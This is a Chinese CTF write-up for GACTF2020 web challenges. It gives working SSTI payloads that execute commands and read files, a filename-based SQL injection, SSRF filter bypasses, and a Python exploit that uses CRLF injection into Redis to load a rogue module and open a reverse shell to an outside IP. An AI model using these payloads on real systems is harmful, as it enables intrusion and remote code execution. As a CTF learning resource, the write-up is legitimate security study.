GACTF2020 writeup

EZFLASK

源码

# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)

@app.route('/ctfhint')
def ctf():
    hint =xxxx # hints
    trick = xxxx # trick
    return trick

@app.route('/')
def index():
    # app.txt
@app.route('/eval', methods=["POST"])
def my_eval():
    # post eval
@app.route(xxxxxx, methods=["POST"]) # Secret
def admin():
    # admin requests
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

/eval过滤的特别多,hint处只有too young too simple,并且提示需要ssrf,还是需要先读hint
https://www.cnblogs.com/xgxzj/archive/2011/09/15/2176240.html

得知:PyCodeObject对象是一段Python源代码的静态表示,一些静态信息会存储在PyCodeObject的常量表co_consts中

如函数的常量表就用这个表示

函数名.func_code.co_consts

ctf.func_code.co_consts得知admin路由
图片

admin.func_code.co_consts得知admin路由是用来ssrf的

图片

不过这里貌似会对内网的ip段过滤

图片

不过由于request默认开启重定向,那我们在vps上开个端口然后调回到127.0.0.1:5000即可

header("Location:http://127.0.0.1:5000/");

读到5000端口的源码
图片

然后是模板注入,直接就能命令执行了

header("Location:http://127.0.0.1:5000/{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval'](\"__import__('os').popen('cat flag_233.py').read()\")}}");

图片

simpleflask

name={{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/home/ctf/app.py").read(541)}}

可以看到部分过滤
图片

明显是把flag给过滤了,那文件读取基本上无了,不过不知道是不是非预期,这样可以直接拼接

{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/fl""ag").read(541)}}

图片

测的时候发现flask开了debug,结合可以文件读取,应该是pin码爆破吧,不过不知道为什么我一直没成功

用同样的方式可以执行单个命令,但是实在绕不了空格了

{{self.__dict__._TemplateReference__context.lipsum.__globals__["o""s"].__dict__["po""pen"]("whoami").read()}}

补:还有"/FLAG".lower()这种操作,或是"fla".join("/g")

carefuleyes

老缝合了,原题是一道二次注入题,不过这题又对查询结果的filename做了一次查询导致报错

图片

直接考虑文件名处union查询

1.jpg'union select 1,(select username from user),3,4,5#.jpg

图片

得到

图片

图片

用户:XM

密码:qweqweqwe

然后拿去反序列化

图片

sssrfme

首先是ssrf绕过,低版本parse_url可以用@符合干扰判断

https://xz.aliyun.com/t/7256#toc-7

url=http://aaa@127.0.0.1:5000@baidu.com/

得到提示
图片

ssrf套ssrf..

因为题目中有说redis,试着访问6379

图片

图片

这里说只能用http协议,那么gopher,dict就不行了,试着访问vps

图片

会发现这里用的是python urllib3,有CRLF漏洞,可以通过http注入数据

不过这里无论密码输入是否正确都不会回显信息,做的时候以为是格式有问题,一直卡在这里..

正解是先输入AUTH,然后通过slaveof来判断是否连接到rougue server,如下

图片

exp

#/usr/bin/python3
import urllib.parse as u
url='http://121.36.199.21:10801/?url=http://aaa@127.0.0.1:5000@baidu.com/?url='
host = "/ HTTP/1.1\r\n*2\r\n$4\r\nAUTH\r\n$6\r\n123456\r\nslaveof 49.232.128.44 6667\r\nconfig set dbfilename exp.so\r\ntest:test\r\n"
host = "/ HTTP/1.1\r\nAUTH 123456\r\nslaveof 49.232.128.44 6667\r\nconfig set dbfilename exp.so\r\ntest:test\r\n"
# *2
# $4
# AUTH
# $6
# 123456
host2 = "/ HTTP/1.1\r\n*2\r\n$4\r\nAUTH\r\n$6\r\n123456\r\nslaveof no one\r\nmodule load ./exp.so\r\nconfig set dbfilename dump.rdb\r\nsystem.rev 49.232.128.44 1234\r\n"
# module load ./exp.so
#  slaveof no one
#  config set dbfilename dump.rdb
#  system.rev vpsip 4444
a = u.quote("http://127.0.0.1:6379" +u.quote(host))
print(a)
print(u.quote("http://127.0.0.1:6379" +u.quote(host2))+"%2500")

首先用第一个payload主从连接rogue,然后加载exp.so,然后用第二个payload结束主从,加载exp.so并反弹shell,这里有一个坑点是
图片

需要在payload2最后加一个%00截断Host匹配,不然打不通,监听端口弹shell

图片

babyshop (unsolve)

这题有一半思路吧,有这么些功能

图片

Account处显示你买的东西和note图片

flag当然不能直接买

图片

git泄漏读到源码

简单在本地试了一下发现在storage下有两个存储,sess和note

图片

图片

图片

可以看到sess里面用来存储已购买商品的id,note值并不在sess中,应该是防止直接可控sess

这里可以首先构造sess文件

balance|i:99999;items|a:0:{}note|s:0:"";

写入note
图片

然后将phpsessid替换为

/../note_ac4fe25956eb77fc8dc48e83c274f543

此时sess文件就变成

/storage/sess_/../note_ac4fe25956eb77fc8dc48e83c274f543

也就表示我们通过note改写了sess
图片

但是买的flag是假的...

图片

感觉还是要通过init.php中的类找链来序列化写到sess中反序列化,奈何这中文变量真的折磨

图片

看了官方writeup发现居然可以直接将phpsessid设置为

/../../../../../flag

不过已经修了
预期解法还是写链然后把flag写到storage

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇